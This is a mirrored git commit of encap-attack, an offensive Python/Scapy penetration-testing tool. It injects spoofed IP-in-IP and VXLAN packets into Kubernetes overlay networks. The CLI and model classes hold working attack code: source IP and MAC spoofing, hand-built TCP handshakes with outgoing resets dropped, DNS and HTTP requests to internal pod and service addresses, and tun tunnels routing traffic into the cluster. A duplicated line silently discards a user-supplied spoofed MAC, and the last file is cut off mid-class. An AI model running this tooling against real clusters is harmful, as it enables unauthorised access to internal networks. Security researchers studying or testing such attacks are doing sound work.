mirror of
https://github.com/ReversecLabs/encap-attack.git
synced 2026-08-24 04:55:40 +01:00
Initial commit
This commit is contained in:
@@ -0,0 +1,242 @@
|
||||
import warnings
|
||||
from cryptography.utils import CryptographyDeprecationWarning
|
||||
warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning)
|
||||
import click
|
||||
from encap_attack.utils.encapsulation_models import *
|
||||
from encap_attack.utils.util_models import *
|
||||
from typing import Optional
|
||||
|
||||
@click.group(context_settings={'max_content_width': 99999})
|
||||
@click.option("-i", "--iface", type=str, help="Network interface to use", default=None)
|
||||
@click.option("--ip", type=str, help="Interface IP address", default=None)
|
||||
@click.option("--verbose/--no-verbose", "-v", type=bool, help="Verbose mode enabled", default=False)
|
||||
@click.pass_context
|
||||
def cli(ctx, iface: Optional[str], ip: Optional[str], verbose: bool) -> None:
|
||||
"""A CLI tool to facilitate communication and tunneling into overlay networks, in particular for penetration testing."""
|
||||
|
||||
ctx.ensure_object(dict)
|
||||
if iface:
|
||||
click.echo(f"Forcing interface: {iface}\n")
|
||||
ctx.obj["iface"] = iface
|
||||
ctx.obj["iface_ip"] = ip
|
||||
ctx.obj["verbose"] = verbose
|
||||
if (verbose):
|
||||
click.echo("Verbose mode is on")
|
||||
|
||||
@cli.command()
|
||||
@click.option("-t", "--timeout", type=int, help="Sniff timeout in seconds [DEFAULT: None]", default=None)
|
||||
@click.pass_context
|
||||
def detect(ctx, timeout: Optional[int]) -> None:
|
||||
"""Sniff network traffic to identify encapsulated packets."""
|
||||
|
||||
detectEncap(ctx.obj["iface"], timeout, ctx.obj["verbose"])
|
||||
|
||||
@cli.group()
|
||||
def kubeintel():
|
||||
"""Gain information about a Kubernetes cluster for use in future network encapsulation attacks."""
|
||||
|
||||
@kubeintel.command("attempt-ipip")
|
||||
@click.option("-a", "--api-server", type=str, help="API server IP address or hostname", required=True)
|
||||
@click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443)
|
||||
@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node [DEFAULT: API server address]", default=None)
|
||||
@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None)
|
||||
@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None)
|
||||
@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None)
|
||||
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53)
|
||||
@click.pass_context
|
||||
def attempt_ipip(ctx, api_server: str, api_server_port: int, intermediary_dst_ip: Optional[str], spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], src_port: Optional[int], dst_port: int) -> None:
|
||||
"""Guess DNS server address based on Kubernetes API server certificate contents, and attempt to connect to it using IP-in-IP"""
|
||||
|
||||
if (not intermediary_dst_ip): intermediary_dst_ip = api_server
|
||||
|
||||
try:
|
||||
dns_suffix, _, dns_ip = guessRoutes(api_server, api_server_port)
|
||||
if (not dns_ip):
|
||||
raise ValueError("Unable to guess DNS server IP. Is the intermediary destination IP correct?")
|
||||
model = IPIPEncapsulationModel(intermediary_dst_ip, spoofed_src_ip, spoofed_src_mac, ctx.obj["iface"], ctx.obj["iface_ip"], ctx.obj["verbose"])
|
||||
results = model.sendDNS(dns_ip, "kube-dns.kube-system.svc." + dns_suffix, "A", dst_port=dst_port, src_port=src_port)
|
||||
if len(results.items()) == 0:
|
||||
raise ValueError("Unable to connect to DNS server using IP-in-IP. Try a different intermediary destination IP (another node), a different source IP, or VXLAN?")
|
||||
click.secho("\nConnected to DNS server with IP-in-IP", fg="green", bold=True)
|
||||
except ValueError as e:
|
||||
click.secho(f"\n{e}", fg="red", bold=True)
|
||||
|
||||
@kubeintel.command("get-ip-ranges")
|
||||
def get_ip_ranges() -> None:
|
||||
"""List commands to obtain pod/service IP ranges from kubectl, via the kube-apiserver."""
|
||||
|
||||
click.echo()
|
||||
click.echo("To obtain pod/service IP ranges for a cluster, run the following command(s).")
|
||||
click.echo("- Pod CIDR:")
|
||||
click.secho(" kubectl cluster-info dump | grep -m 1 cluster-cidr | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True)
|
||||
click.echo("- Service CIDR:")
|
||||
click.secho(" kubectl cluster-info dump | grep -m 1 service-cluster-ip-range | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True)
|
||||
click.echo()
|
||||
|
||||
@kubeintel.command("get-net-info")
|
||||
@click.option("-c", "--cni", type=click.Choice(["calico", "flannel"]), help="CNI")
|
||||
def get_net_info(cni: Optional[str]) -> None:
|
||||
"""List commands to obtain VTEPs and VNIs from different Kubernetes CNIs, via the kube-apiserver."""
|
||||
|
||||
click.echo()
|
||||
click.echo("To obtain network info (VNIs and VTEPs - internal destination MAC addresses) for a cluster, run the following command(s).")
|
||||
if (cni == "calico" or cni == None):
|
||||
cmd_vtep = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.spec.vxlanTunnelMACAddr}{\"\\n\"}{end}'"
|
||||
click.echo("- Calico VTEP:")
|
||||
click.secho(f" {cmd_vtep}", fg="cyan", bold=True)
|
||||
click.echo("- Calico VNI:")
|
||||
cmd_vni = "kubectl get felixconfiguration -o jsonpath='{.items[0].spec.vxlanVNI}'"
|
||||
click.secho(f" {cmd_vni}", fg="cyan", bold=True)
|
||||
if (cni == "flannel" or cni == None):
|
||||
cmd = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/public-ip}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/backend-data}{\"\\n\"}{end}'"
|
||||
click.echo("- Flannel VTEP & VNI:")
|
||||
click.secho(f" {cmd}", fg="cyan", bold=True)
|
||||
click.echo()
|
||||
|
||||
@kubeintel.command("guess-cidr")
|
||||
@click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443)
|
||||
@click.argument("api_server")
|
||||
def guess_cidr(api_server_port: int, api_server: str) -> None:
|
||||
"""Guess the Kubernetes service IP range based on the certificate from the API server at API_SERVER."""
|
||||
|
||||
click.echo()
|
||||
guessRoutes(api_server, api_server_port)
|
||||
click.echo()
|
||||
|
||||
|
||||
@cli.group()
|
||||
@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True)
|
||||
@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None)
|
||||
@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None)
|
||||
@click.pass_context
|
||||
def ipip(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str]) -> None:
|
||||
"""Suite of IP-in-IP functionality."""
|
||||
|
||||
click.echo("Running in IP-in-IP mode\n")
|
||||
ctx.ensure_object(dict)
|
||||
ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip
|
||||
ctx.obj["spoofed_src_ip"] = spoofed_src_ip
|
||||
ctx.obj["spoofed_src_mac"] = spoofed_src_mac
|
||||
ctx.obj["model"] = IPIPEncapsulationModel(ctx.obj["intermediary_dst_ip"], ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"])
|
||||
|
||||
@ipip.group("request")
|
||||
@click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True)
|
||||
@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None)
|
||||
@click.pass_context
|
||||
def ipip_request(ctx, dst_ip: str, src_port: Optional[int]) -> None:
|
||||
"""Send an IP-in-IP encapsulated request."""
|
||||
|
||||
ctx.ensure_object(dict)
|
||||
ctx.obj["dst_ip"] = dst_ip
|
||||
ctx.obj["src_port"] = src_port
|
||||
|
||||
@ipip_request.command("http")
|
||||
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80)
|
||||
@click.argument("http_request")
|
||||
@click.pass_context
|
||||
def ipip_http(ctx, dst_port: int, http_request: str) -> None:
|
||||
"""Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT."""
|
||||
|
||||
ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"])
|
||||
|
||||
@ipip_request.command("dns")
|
||||
@click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True)
|
||||
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53)
|
||||
@click.argument("query_name")
|
||||
@click.pass_context
|
||||
def ipip_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None:
|
||||
"""Send a DNS request, QUERY_NAME, of type QUERY_NAME."""
|
||||
|
||||
ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"])
|
||||
|
||||
@ipip.command("tunnel")
|
||||
@click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True)
|
||||
@click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface")
|
||||
@click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route")
|
||||
@click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443)
|
||||
@click.pass_context
|
||||
def ipip_tunnel(ctx, route: list[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None:
|
||||
"""Open IP-in-IP tunnel via INTERMEDIARY_DESTINATION for each ROUTE."""
|
||||
|
||||
if (kube_api_server):
|
||||
click.echo()
|
||||
route = list(route)
|
||||
route.extend(guessRoutes(kube_api_server, kube_api_server_port)[1])
|
||||
click.echo()
|
||||
tunnel_meta = TunnelMeta(route, direct_routing_gateway)
|
||||
ctx.obj["model"].runTunnel(tunnel_meta)
|
||||
|
||||
|
||||
|
||||
@cli.group()
|
||||
@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True)
|
||||
@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None)
|
||||
@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None)
|
||||
@click.option("-mi", "--inner-dst-mac", type=str, help="Inner destination MAC address (VTEP) - for Kubernetes, use the VTEP of the destination node", required=True)
|
||||
@click.option("--vni", type=int, help="VXLAN VNI - use 4096 for Calico, 1 for Flannel [DEFAULT: 4096]", default=4096)
|
||||
@click.option("-ps", "--vxlan-src-port", type=int, help="VXLAN packet source port [DEFAULT: random port 1000-65000]", default=None)
|
||||
@click.option("-pd", "--vxlan-dst-port", type=int, help="VXLAN packet destination port - use 4789 for Calico, 8472 for Flannel [DEFAULT: 4789]", default=4789)
|
||||
@click.pass_context
|
||||
def vxlan(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], inner_dst_mac: str, vni: int, vxlan_src_port: Optional[int], vxlan_dst_port: int) -> None:
|
||||
"""Suite of VXLAN functionality."""
|
||||
|
||||
click.echo("Running in VXLAN mode\n")
|
||||
ctx.ensure_object(dict)
|
||||
ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip
|
||||
ctx.obj["spoofed_src_ip"] = spoofed_src_ip
|
||||
ctx.obj["spoofed_src_mac"] = spoofed_src_mac
|
||||
ctx.obj["vni"] = vni
|
||||
ctx.obj["vxlan_src_port"] = vxlan_src_port
|
||||
ctx.obj["vxlan_dst_port"] = vxlan_dst_port
|
||||
ctx.obj["model"] = VXLANEncapsulationModel(ctx.obj["intermediary_dst_ip"], inner_dst_mac, vni, vxlan_src_port, vxlan_dst_port, ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"])
|
||||
|
||||
@vxlan.group("request")
|
||||
@click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True)
|
||||
@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None)
|
||||
@click.pass_context
|
||||
def vxlan_request(ctx, dst_ip: str, src_port: Optional[int]) -> None:
|
||||
"""Send a VXLAN encapsulated request."""
|
||||
|
||||
ctx.ensure_object(dict)
|
||||
ctx.obj["dst_ip"] = dst_ip
|
||||
ctx.obj["src_port"] = src_port
|
||||
|
||||
@vxlan_request.command("http")
|
||||
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80)
|
||||
@click.argument("http_request")
|
||||
@click.pass_context
|
||||
def vxlan_http(ctx, dst_port: int, http_request: str) -> None:
|
||||
"""Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT."""
|
||||
|
||||
ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"])
|
||||
|
||||
@vxlan_request.command("dns")
|
||||
@click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True)
|
||||
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53)
|
||||
@click.argument("query_name")
|
||||
@click.pass_context
|
||||
def vxlan_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None:
|
||||
"""Send a DNS request, QUERY_NAME, of type QUERY_NAME."""
|
||||
|
||||
ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"])
|
||||
|
||||
@vxlan.command("tunnel")
|
||||
@click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True)
|
||||
@click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface")
|
||||
@click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route")
|
||||
@click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443)
|
||||
@click.pass_context
|
||||
def vxlan_tunnel(ctx, route: tuple[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None:
|
||||
"""Open VXLAN tunnel via INTERMEDIARY_DESTINATION for each ROUTE."""
|
||||
|
||||
if (kube_api_server):
|
||||
route = list(route)
|
||||
click.echo()
|
||||
_, svc_route, _ = guessRoutes(kube_api_server, kube_api_server_port)
|
||||
route.extend(svc_route)
|
||||
click.echo()
|
||||
tunnel_meta = TunnelMeta(route, direct_routing_gateway)
|
||||
ctx.obj["model"].runTunnel(tunnel_meta)
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
@@ -0,0 +1,262 @@
|
||||
from abc import ABC, abstractmethod
|
||||
from scapy.all import *
|
||||
from random import randint
|
||||
from getmac import get_mac_address as get_mac
|
||||
from encap_attack.utils.util_models import *
|
||||
from encap_attack.utils.utils import *
|
||||
from time import sleep
|
||||
import click
|
||||
from typing import Optional, Union
|
||||
|
||||
class EncapsulationModel(ABC):
|
||||
|
||||
@abstractmethod
|
||||
def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None:
|
||||
"""Initialise an encapsulation model."""
|
||||
|
||||
if (iface):
|
||||
self._iface = iface
|
||||
self._iface_calculated = False
|
||||
else:
|
||||
self._iface = str(conf.iface)
|
||||
self._iface_calculated = True
|
||||
if (iface_ip):
|
||||
self._iface_ip = iface_ip
|
||||
else:
|
||||
self._iface_ip = getIfaceIp(self._iface)
|
||||
click.echo("Interface IP: " + click.style(self._iface_ip, fg="cyan", bold=True))
|
||||
self._iface_mac = get_mac(self._iface_ip)
|
||||
self._spoofed_src_ip = spoofed_src_ip
|
||||
if (spoofed_src_mac):
|
||||
self._spoofed_src_mac = spoofed_src_mac
|
||||
else:
|
||||
self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip)
|
||||
self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip)
|
||||
self._intermediary_dst_ip = intermediary_dst_ip
|
||||
self._intermediary_dst_mac = get_mac(ip=self._intermediary_dst_ip)
|
||||
self._verbose = verbose
|
||||
|
||||
@abstractmethod
|
||||
def _getPacketHeader(self) -> Packet:
|
||||
"""Get the header frames for a packet."""
|
||||
|
||||
pass
|
||||
|
||||
def _sendPacket(self, packet, name: str = "", wait: bool = True, newline: bool = True) -> None:
|
||||
"""Send an Ether packet."""
|
||||
|
||||
if wait: sleep(0.1) # this ensures sniffers have started properly before we expect a response
|
||||
if (name == ""): name = "packet"
|
||||
if newline: click.echo()
|
||||
if (self._verbose):
|
||||
click.secho(f"Sending {name}:", fg="magenta", bold=True)
|
||||
click.echo(packet.show2(dump=True))
|
||||
else:
|
||||
click.echo(click.style(f"Sending {name}: ", fg="magenta", bold=True) + str(packet))
|
||||
if self._iface_calculated:
|
||||
sendp(packet, loop=0, verbose=self._verbose)
|
||||
else:
|
||||
sendp(packet, loop=0, verbose=self._verbose, iface=self._iface)
|
||||
|
||||
def _verboseSnifferPacketHandler(self, packet: Packet) -> None:
|
||||
"""Log a sniffed packet if in verbose mode."""
|
||||
|
||||
if (self._verbose):
|
||||
click.echo(f"\n\nSniffed packet:\n{packet.show2(dump=True)}")
|
||||
|
||||
def _getAsyncSniffer(self, filter: str, count: int) -> AsyncSniffer:
|
||||
"""Get a Scapy AsyncSniffer, forcing the interface to use if required."""
|
||||
|
||||
if self._iface_calculated:
|
||||
s = AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler)
|
||||
return s
|
||||
else:
|
||||
return AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler, iface=self._iface)
|
||||
|
||||
def __processTunnelPacket(self, packet: Packet) -> None:
|
||||
"""Encapsulate a packet and send it on."""
|
||||
|
||||
if (IP not in packet or packet[IP].dst != self._iface_ip):
|
||||
if (self._verbose): click.echo("\n")
|
||||
click.echo(f"\nEncapsulating packet: {packet}")
|
||||
encapsulatedPacket = self._getPacketHeader() / packet
|
||||
self._sendPacket(encapsulatedPacket, "encapsulated packet", wait=False, newline=False)
|
||||
elif (self._verbose):
|
||||
click.echo(f"Ignoring packet: {packet.summary()}")
|
||||
|
||||
def runTunnel(self, tunnel_meta: TunnelMeta) -> None:
|
||||
"""Start a tun interface to encapsulate specific traffic before sending."""
|
||||
|
||||
tun_number = 0
|
||||
while (os.path.exists(f"/sys/net/tun{tun_number}")):
|
||||
tun_number += 1
|
||||
tun_iface = f"tun{tun_number}"
|
||||
t = TunTapInterface(tun_iface)
|
||||
os.system(f"ip link set {tun_iface} up")
|
||||
os.system(f"ip a add {self._iface_ip} dev {tun_iface}")
|
||||
if (self._verbose): click.echo(f"Created tunnel interface {tun_iface}")
|
||||
for route in tunnel_meta.getRoutes:
|
||||
os.system(f"ip ro add {route} dev {tun_iface}")
|
||||
if (self._verbose): click.echo(f"Added route for {route} via tunnel interface {tun_iface}")
|
||||
direct_routing_gateway_ip = tunnel_meta.getDirectRoutingGatewayIP
|
||||
if (direct_routing_gateway_ip):
|
||||
os.system(f"ip a add {direct_routing_gateway_ip} dev {tun_iface}")
|
||||
os.system(f"iptables -t mangle -A PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}")
|
||||
if (self._verbose): click.echo(f"Added gateway IP {direct_routing_gateway_ip} to tunnel interface {tun_iface} and started duplicating all incoming packets on {self._iface} to this interface")
|
||||
click.secho(f"\nStarting tunnel {tun_iface}, press Ctrl+C to stop...\n", fg="magenta", bold=True)
|
||||
try:
|
||||
sniff(prn=self.__processTunnelPacket, iface=tun_iface, store=0)
|
||||
finally:
|
||||
click.secho("\n\nTunnel closed", fg="red")
|
||||
if (direct_routing_gateway_ip):
|
||||
os.system(f"iptables -t mangle -D PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}")
|
||||
if (self._verbose): click.echo(f"Stopped duplicating incoming packets to tunnel interface")
|
||||
if (self._verbose): click.echo(f"Deleted tunnel interface {tun_iface}")
|
||||
|
||||
def __submitHTTP(self, request_payload: str, dst_ip: str, dst_port: int, src_port: int) -> list:
|
||||
"""Send an encapsulated HTTP request and return the response."""
|
||||
|
||||
request_payload = request_payload.replace("\\n", "\n").replace("\\r", "\r")
|
||||
os.system(f"iptables -A OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP")
|
||||
|
||||
full_header = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip)
|
||||
|
||||
syn_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="S")
|
||||
syn_sniff = self._getAsyncSniffer(filter=f"tcp and port {src_port}", count=1)
|
||||
syn_sniff.start()
|
||||
self._sendPacket(syn_packet, "SYN")
|
||||
syn_sniff.join()
|
||||
if (not hasattr(syn_sniff, "results") or len(syn_sniff.results) < 1):
|
||||
click.secho("\nRequest timed out.", fg="red", bold=True)
|
||||
return []
|
||||
synack = syn_sniff.results[0]
|
||||
|
||||
ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=3)
|
||||
ack_sniff.start()
|
||||
ack_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=synack[TCP].ack, ack=synack[TCP].seq+1)
|
||||
self._sendPacket(ack_packet, "ACK")
|
||||
|
||||
ack_push = full_header / TCP(sport=src_port, dport=dst_port, flags="AP", seq=synack[TCP].ack, ack=synack[TCP].seq+1) / Raw(load=request_payload)
|
||||
self._sendPacket(ack_push, "ACK PUSH")
|
||||
|
||||
ack_sniff.join()
|
||||
|
||||
if (not hasattr(ack_sniff, "results") or len(ack_sniff.results) < 3):
|
||||
click.secho("\nRequest timed out.", fg="red", bold=True)
|
||||
return []
|
||||
|
||||
if ("F" in ack_sniff.results[2][TCP].flags):
|
||||
click.echo("Server closing connection")
|
||||
ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq)
|
||||
self._sendPacket(ack, "ACK")
|
||||
fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1)
|
||||
self._sendPacket(fin_ack, "FIN ACK")
|
||||
else:
|
||||
ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[1][TCP].ack, ack=ack_sniff.results[1][TCP].seq+1)
|
||||
self._sendPacket(ack, "ACK")
|
||||
fin_ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=1)
|
||||
|
||||
fin_ack_sniff.start()
|
||||
fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1)
|
||||
self._sendPacket(fin_ack, "FIN ACK")
|
||||
fin_ack_sniff.join()
|
||||
|
||||
final_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=fin_ack_sniff.results[0][TCP].ack, ack=fin_ack_sniff.results[0][TCP].seq+1)
|
||||
self._sendPacket(final_ack, "ACK")
|
||||
|
||||
os.system(f"iptables -D OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP")
|
||||
return ack_sniff.results
|
||||
|
||||
def sendHTTP(self, request_payload: str, dst_ip: str, dst_port: int = 80, src_port: Optional[int] = None) -> None:
|
||||
"""Submit an encapsulated HTTP request and print the response."""
|
||||
|
||||
if (not src_port): src_port = randint(1000,65000)
|
||||
if (self._verbose): click.echo(f"TCP source port: {src_port}")
|
||||
|
||||
response = self.__submitHTTP(request_payload + "\r\n\r\n", dst_ip, dst_port, src_port)
|
||||
click.echo("\nResponse:")
|
||||
if (len(response) > 1):
|
||||
click.echo()
|
||||
for r in response:
|
||||
if hasattr(r[TCP], "load"): click.echo(r[TCP].load)
|
||||
else:
|
||||
click.secho(" No response returned.", fg="red", bold=True)
|
||||
|
||||
def __submitDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int, src_port: int) -> dict[str, Union[str, int]]:
|
||||
"""Send an encapsulated DNS request and return the response."""
|
||||
|
||||
packet = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip) / UDP(sport=src_port, dport=dst_port) / DNS(rd=1, qd=DNSQR(qname=qname,qtype=qtype))
|
||||
|
||||
sniff = self._getAsyncSniffer(filter=f"udp and port {src_port}", count=1)
|
||||
sniff.start()
|
||||
self._sendPacket(packet, "DNS packet")
|
||||
sniff.join()
|
||||
|
||||
if (len(sniff.results) == 0):
|
||||
click.secho("\nRequest timed out.", fg="red", bold=True)
|
||||
return {}
|
||||
|
||||
try:
|
||||
response = sniff.results[0][UDP]
|
||||
except:
|
||||
click.secho("Unable to process response.", fg="red", bold=True)
|
||||
return {}
|
||||
results = {}
|
||||
|
||||
for i in range(0, response.ancount):
|
||||
record = response.an[i]
|
||||
if (qtype == "SRV"):
|
||||
name = record.target.decode().rstrip('.')
|
||||
results[name] = record.port
|
||||
else:
|
||||
name = record.rrname.decode().rstrip(".")
|
||||
results[name] = record.rdata
|
||||
|
||||
return results
|
||||
|
||||
def sendDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int = 53, src_port: Optional[int] = None) -> dict[str, Union[str, int]]:
|
||||
"""Send an encapsulated DNS request and print the response."""
|
||||
|
||||
if (not src_port): src_port = randint(1000,65000)
|
||||
|
||||
results = self.__submitDNS(dst_ip, qname, qtype, dst_port, src_port)
|
||||
|
||||
click.echo("\nResponse:")
|
||||
for name, port in results.items():
|
||||
click.secho(f" {name}: {port}", fg="green", bold=True)
|
||||
if len(results.items()) == 0:
|
||||
click.secho(" No records returned.", fg="red", bold=True)
|
||||
return results
|
||||
|
||||
class IPIPEncapsulationModel(EncapsulationModel):
|
||||
|
||||
def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None:
|
||||
"""Initialise an IP-in-IP encapsulation model."""
|
||||
|
||||
super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose)
|
||||
|
||||
def _getPacketHeader(self) -> Packet:
|
||||
"""Get an IP-in-IP header."""
|
||||
|
||||
ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac)
|
||||
return ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip)
|
||||
|
||||
class VXLANEncapsulationModel(EncapsulationModel):
|
||||
|
||||
def __init__(self, intermediary_dst_ip: str, inner_dst_mac: str, vni: int = 4096, vxlan_src_port: Optional[int] = None, vxlan_dst_port: int = 4789, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None:
|
||||
"""Initialise a VXLAN encapsulation model."""
|
||||
|
||||
if (not vxlan_src_port): vxlan_src_port = randint(1000,65000)
|
||||
|
||||
super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose)
|
||||
self._inner_dst_mac = inner_dst_mac # VTEP of target node
|
||||
self._vni = vni
|
||||
self._vxlan_src_port = vxlan_src_port
|
||||
self._vxlan_dst_port = vxlan_dst_port
|
||||
|
||||
def _getPacketHeader(self) -> Packet:
|
||||
"""Get a VXLAN header."""
|
||||
|
||||
outer_ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac)
|
||||
inner_ether = Ether(src=self._iface_mac,dst=self._inner_dst_mac)
|
||||
return outer_ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip) / UDP(sport=self._vxlan_src_port,dport=self._vxlan_dst_port) / VXLAN(vni=self._vni, flags="Instance") / inner_ether
|
||||
@@ -0,0 +1,72 @@
|
||||
import click
|
||||
from scapy.all import *
|
||||
import threading
|
||||
|
||||
class TunnelMeta:
|
||||
def __init__(self, routes: list[str] = [], direct_routing_gateway_ip: str = None) -> None:
|
||||
"""Initialise a tunnel metadata model, to store information about a tunnel before it is configured."""
|
||||
|
||||
self.__routes = routes
|
||||
self.__direct_routing_gateway_ip = direct_routing_gateway_ip
|
||||
|
||||
@property
|
||||
def getRoutes(self) -> list[str]:
|
||||
"""Get the defined routes."""
|
||||
|
||||
return self.__routes
|
||||
|
||||
@property
|
||||
def getDirectRoutingGatewayIP(self) -> str:
|
||||
"""Get the direct routing gateway IP address."""
|
||||
|
||||
return self.__direct_routing_gateway_ip
|
||||
|
||||
class DetectorSniffer:
|
||||
def __init__(self, iface: str, timeout: int, verbose: bool) -> None:
|
||||
"""Initialise a detector sniffer."""
|
||||
|
||||
self.__iface = iface
|
||||
self.__timeout = timeout
|
||||
self.__verbose = verbose
|
||||
self.__protocol = "unknown"
|
||||
if (self.__iface):
|
||||
if (self.__timeout):
|
||||
